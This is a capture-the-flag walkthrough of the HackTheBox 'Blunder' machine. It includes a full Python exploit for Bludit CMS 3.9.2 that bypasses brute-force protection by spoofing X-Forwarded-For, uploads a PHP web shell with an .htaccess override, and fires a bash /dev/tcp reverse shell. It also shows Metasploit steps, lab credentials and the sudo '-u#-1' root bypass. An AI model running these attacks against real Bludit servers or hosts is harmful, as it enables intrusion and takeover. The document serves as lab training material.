This is an Easy box from HackTheBox.
It’s OS is Linux, which is common in HackTheBox Machines.
It’s exploration was through Web.
My rate for this machine is 7/10.
I enjoyed the way we get reverse shell on this box, and mainly the PHP code analysis to get the vulnerability.
In the end you can find the automated script to explore this machine!
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap - Wfuzz - Gobuster| B(/todo.txt and /admin)
B --> C{Bludit CMS} --> |Version 3.9.2| D(User Bruteforce)
D --> |Python Script| E
D --> |RolandDeschain| E[Fergus Login] -->|File Upload| F(www-data)
E --> |Python Script Updated| F
F --> |Hashed Password| G{hugo}
G --> |sudo -l| H{root}
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.191
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
Once we found just the port 80 opened, so let’s focus on this one to enumerate it.
We open it on the browser and see what is being shown.
We look at the source code, nothing useful
Start enumerate it with Gobuster
I’ll run gobuster against the site, and include -x php,txt since I know the site is PHP, and since it’s an easy box so some CTF-like stuff might show up in .txt files:
1
gobuster dir -u http://10.10.10.191 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -o scans/gobuster-root-medium -x txt
Obs: one good wordlist we can use is the /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
Two of them called my attention. The todo.txt
and the admin
, so let’s inspect it.
/admin
/todo.txt
We get that the CMS running is BLUDIT
as has a user called fergus
.
We look for vulnerabilities and found many of them on searchsploit
1
searchsploit bludit
We found some exploits for it, but we don’t know which version of Bludit is running on the server, we can look at the source code to discover it
Seems to be 3.9.2
We look at the Github to look for bludit
We see on the Github page that there is a README.md
file, we can try to get it from the server, to confirm which version is running there
Unfortunatelly it does not show the version. But we know that it’s 3.9.2.
I started to looking at Google to find something useful for this CMS, and found a blod from Rastating which is very useful for us. It shows how the application was built to avoid BruteForce on the password. The CMS tries to get the IP from X-FORWARDED-FOR header, that is where php save the IP. It works this way because many users sit behind proxies, than, they will allow the user does not get banned. The problem is that I can control this field, so I can byppass the brute force protection.
After we get this box, I’ll look at the source code to understand it. Trying to get it from a whitebox perspective.
Scripting - User BruteForce
So, before getting into it using rockyou, I’ll make a wordlist from cewl
with the website.
1
cewl http://10.10.10.191 > wordlist.txt
350 is a good number to start with
We got a skeleton in python to start working on it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
import argparse
import requests
import sys
''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-u', '--username', help='Username for bruteforce', required=True)
parser.add_argument('-w', '--wordlist', help='Wordlist for bruteforce', required=True)
args = parser.parse_args()
rhost = args.target
username = args.username
wordlist = args.wordlist
'''Here we call the functions'''
if __name__ == '__main__':
main()
First, we need a request from burp with a login attempt, to see how it’s built
We see that we have csrfTOKEN
on it, and cookie, so we need to grab then.
Let’s send to repeater and minimize it, to be better to send over the python script.
We get the error message when the password is incorret.
If we try many times, we get blocked, as the blog said
Fine, let’s try to see if our X-FORWARDED-FOR
We send a new request to the server, set it to Repetaer and add the X-FORWARDED-FOR on the header, and see that it works!
We get smaller request, so it’s better to work
Now we mount our python script to bruteforce the user password
user_brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python3
# Date: 2021-09-02
# Exploit Author: 0x4rt3mis
# Hack The Box - Blunder
import argparse
import requests
import sys
import os
''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# First, we need to get the CSRFToken
def getCSRFToken(rhost):
# Make csrfMagicToken global
global csrf_token
# Make the request to get csrf token
csrf_page = r.get(login_url, verify=False, proxies=proxies)
# Get the index of the page, search for csrfMagicToken in it
index = csrf_page.text.find("tokenCSRF")
# Get only the csrfMagicToken in it
csrf_token = csrf_page.text[index:index+128].split('"')[4]
if csrf_token:
return csrf_token
else:
print("[+] Cannot get the CSRF_TOKEN[+]")
exit
# Now we make the login requests
def loginRequest(rhost,wordlist,username):
# Let's iterate trough the wordlist
file = open(wordlist, "r")
iter = 0
for line in file:
# Get the csrf_token for each request
getCSRFToken(rhost)
# Set the proper http request
line = line.strip()
headers = {"Content-Type": "application/x-www-form-urlencoded", "Origin": "http://%s" %rhost, "X-FORWARDED-FOR": "%s" %line}
data = {"tokenCSRF": "%s" %csrf_token, "username": "%s" %username, "password": "%s" %line, "save": ''}
login = r.post(login_url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
if "incorrect" in login.text:
iter = iter + 1
os.system('clear')
print()
print("[+] Trying %s:%s" %(username,line))
print("[+] Wrong Password - Attempt Number: %s [+]" %iter, flush=True)
else:
os.system('clear')
print()
print("[+] Password FOUND!!!!!")
print("[+] Attempt number: %s" %iter)
print("[+] Username: %s and Password: %s" %(username,line))
print()
break
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-u', '--username', help='Username for bruteforce', required=True)
parser.add_argument('-w', '--wordlist', help='Wordlist for bruteforce', required=True)
args = parser.parse_args()
''' Set some variables '''
rhost = args.target
username = args.username
wordlist = args.wordlist
global login_url
login_url = 'http://' + rhost + '/admin/login'
'''Here we call the functions'''
loginRequest(rhost,wordlist,username)
if __name__ == '__main__':
main()
Execute it
And we found the right passsword for the user fergus
fergus:RolandDeschain
Now that we have a valid user and password, let’s log in the application and see how we can get a reverse shell in it, in order to update our exploit.
Reverse Shell
So, we log in the application
On the new content tab we see that we can upload archives in it.
Here, the way to upload archives is a little bit different, and when I got the code I’ll explain better how to get it working.
There are a script in Metasploit that works it, so let’s pass the execution of the module trough metasploit and see exactly what it does.
Upload File
First, disable file extensions client response in burp
1
2
3
4
5
6
7
8
9
msfconsole -q
use linux/http/bludit_upload_images_exec
set BLUDITPASS RolandDeschain
set BLUDITUSER fergus
set RHOST 10.10.10.191
set LHOST 10.10.14.20
set Proxies http:127.0.0.1:8080
set ReverseAllowProxy true
run
We see the requests on BurpSuite
And we got a shell on msfconsole
Let’s see how it worked
First, one simple GET on the admin index page, to get the cookies and the CSRFTOKEN
Now it log in page
Go to index.php
New-Content
And add the php reverse shell as a image, in this case png
Here seems that it is changing the .htaccess to execute png as php. We will see it better after, when we get the code to analyze.
Looking for vulnerabilities of this CMS on the internet, we found to Issues on it’s github page, which leads to RCE.
Sure, what we will do now is to reproduce it in our python script the vulnerabiliy described in it.
We upload a “image”, on the New-Content field
We forward the request, and get error, but we know that when it fails, the archive is moved to /tmp
Now we upload the .htaccess
archive which will execute this php archive
Sure, if we try now we have the 0x4rt3mis.php
uploaded on the tmp folder and executing commands
Let’s update the script
user_brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/python3
# Date: 2021-09-02
# Exploit Author: 0x4rt3mis
# Hack The Box - Blunder
import argparse
import requests
import sys
import os
import socket, telnetlib
from threading import Thread
import threading
import re
''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Setar o handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# First, we need to get the CSRFToken
def getCSRFToken(rhost):
# Make csrfMagicToken global
global csrf_token
# Make the request to get csrf token
csrf_page = r.get(login_url, verify=False, proxies=proxies)
# Get the index of the page, search for csrfMagicToken in it
index = csrf_page.text.find("tokenCSRF")
# Get only the csrfMagicToken in it
csrf_token = csrf_page.text[index:index+128].split('"')[4]
if csrf_token:
return csrf_token
else:
print("[+] Cannot get the CSRF_TOKEN[+]")
exit
# Now we make the login requests
def loginRequest(rhost,wordlist,username):
# Let's iterate trough the wordlist
file = open(wordlist, "r")
iter = 0
print("[+] Let's start bruteforce, keep calm!! [+]")
for line in file:
# Get the csrf_token for each request
getCSRFToken(rhost)
# Set the proper http request
line = line.strip()
headers = {"Content-Type": "application/x-www-form-urlencoded", "Origin": "http://%s" %rhost, "X-FORWARDED-FOR": "%s" %line}
data = {"tokenCSRF": "%s" %csrf_token, "username": "%s" %username, "password": "%s" %line, "save": ''}
login = r.post(login_url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
if "incorrect" in login.text:
iter = iter + 1
else:
print("[+] Password FOUND!!!!!")
print("[+] Attempt number: %s" %iter)
print("[+] Username: %s and Password: %s" %(username,line))
global password
password = ''
print("[+] Valid CSRF to login: %s " %csrf_token)
return csrf_token
def uploadPhpCmd(rhost):
print("[+] Uploading the Webshell on %s [+]" %rhost)
# Get the new csrf token to upload images
url_get_csrf = 'http://' + rhost + '/admin/new-content'
resp = r.get(url_get_csrf, proxies=proxies, cookies=r.cookies)
csrf_token_up = re.findall('\nvar tokenCSRF = "([0-9a-f]{32,})";', resp.text)[0]
print("[+] New CSRF Token GOT: %s [+]" %csrf_token_up)
url_upload = 'http://' + rhost + '/admin/ajax/upload-images'
form_data = {'images[]': ('0x4rt3mis.php', '<?php system($_REQUEST["cmd"]); ?>', 'image/png')}
data = {'uuid': 'junk',
'tokenCSRF': csrf_token_up}
r.post(url_upload, data=data, cookies=r.cookies, files=form_data, proxies=proxies, allow_redirects=False)
print("[+] Web shell uploaded!! [+]")
print("[+] Let's write the .htaccess!! [+]")
url_upload = 'http://' + rhost + '/admin/ajax/upload-images'
form_data = {'images[]': ('.htaccess', 'RewriteEngine off', 'image/png')}
data = {'uuid': 'junk',
'tokenCSRF': csrf_token_up}
r.post(url_upload, cookies=r.cookies, data=data, files=form_data, proxies=proxies, allow_redirects=False)
print("[+] .htaccess done! [+]")
def getReverse(rhost,ip,lport):
print("[+] Now give me the shell!!!! [+]")
url_shell = 'http://' + rhost + '/bl-content/tmp/0x4rt3mis.php'
print("[+] Enjoy your shell! [+]")
r.get(url_shell, params={'cmd':f'bash -c "bash -i >& /dev/tcp/%s/%s 0>&1"' %(ip,lport)}, proxies=proxies)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-u', '--username', help='Username for bruteforce', required=True)
parser.add_argument('-w', '--wordlist', help='Wordlist for bruteforce', required=True)
parser.add_argument('-li', '--localip', help='Local IP', required=True)
parser.add_argument('-lp', '--lport', help='Local Port', required=True)
args = parser.parse_args()
''' Set some variables '''
lport = args.lport
ip = args.localip
rhost = args.target
username = args.username
wordlist = args.wordlist
global login_url
login_url = 'http://' + rhost + '/admin/login'
'''Here we call the functions'''
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Make the login request
loginRequest(rhost,wordlist,username)
# Now upload the webshell on the server and write htaccess
uploadPhpCmd(rhost)
# Now get the reverse shell baby
getReverse(rhost,ip,lport)
if __name__ == '__main__':
main()
Source Code
Now with proper and easy access to the machine, let’s analise it to look for how this vulnerability works before get root
We look on the root folder from the web page and see the folder structure
We see it’s structure
We look for the error message
1
grep -lRi "ip address has been"
We found the function addToBlacklist
We search for it
1
grep -lri "function addToBlacklist("
We open the security.class.php
and see how it works
On line 79
it defines the addToBlacklist function, which get the userip, with the function getUserIp on line 108, and matches with the blacklist, if the ip is blacklisted, it shows the error message.
On line 108
we see the vulnerability on the getUserIp function
1
2
3
4
5
6
7
8
9
10
11
108 public function getUserIp()
109 {
110 if (getenv('HTTP_X_FORWARDED_FOR')) {
111 $ip = getenv('HTTP_X_FORWARDED_FOR');
112 } elseif (getenv('HTTP_CLIENT_IP')) {
113 $ip = getenv('HTTP_CLIENT_IP');
114 } else {
115 $ip = getenv('REMOTE_ADDR');
116 }
117 return $ip;
118 }
Line 110 get the user ip from HTTP_X_FORWARDED_FOR, one parameter that we can control, so, changing it always on the exploit, we will never get blacklisted.
That’s the vulnerability for the Authentication Bypass on this box. Now let’s understand the vulnerability for the upload mechanism.
We search for the error message, to find where it’s being triggered
1
grep -lRi "File type is not supported"
Or we can also find it on the burpsuite looking for the path of the upload php file
Ok, now we give a simple cat on this file to see it’s code.
On line 30, we see that it’s iterating trough the uploaded files, that’s ok. On line 41, we see that it moves the file to tmp folder, which we will se later on this analysis. And just on the lines 49-53 it checks for extensions or anything like that. So, does not matter what extension we put there, the file will be saved on the temp folder, and only after it triggered the error message on the browser.
So, let’s see what are the allowed extensions
1
grep -lRi "ALLOWED_IMG_EXTENSION"
On the file, bl-kernel/boot/variables.php
we get it. Okay, it seems to be as we see the error message on the browser.
Now, let’s look for the PATH_TMP, from where the archives are being saved
1
grep -lR PATH_TMP
We get it ont the file bl-kernel/boot/init.php
We see that it’s PATH_CONTENT + TMP, but where is the PATH_CONTENT?
We grep for it and find… It’s the PATH_ROOT + BL-CONTENT + TMP
Yes, it’s there, we already now how to upload php and locate where it’s being saved. Now we must see the .htaccess file, which will allow us to execute php code on the folder
Here is the .htacces, from the PATH_ROOT, before we overwrite the tmp .htaccess it was like this one
And here, the one we changed, allowing us to execute php files on it.
Great. We’ve finished the source code anaysis of this application, now we must get the root.
www-data –> hugo
To get root, first we need to become hugo
Navigating trough the web app, we see that the file /bl-content/databases/users.php
has two users
And the version 3.10 has one user. More insteresting
We see that it’s possible SHA1
So, we google for it
And the password is Password120
So, we log as hugo
hugo –> root
Now we give the commmand sudo -l
to see what permissions this user has on this box
1
sudo -l
The sudoers privileges our user has don’t appear to give us anything we can use since it explicitely blocks root.
However, because of CVE-2019-14287 in sudo, we can bypass the username check by using #-1
and we get a root shell.
When running sudo, you can enter -u [user]
to say which user to run as. You can also enter the user as a number in the format -u#[uid]
. root is used id 0, so I can try:
1
sudo -u#-1 /bin/bash
Finished it.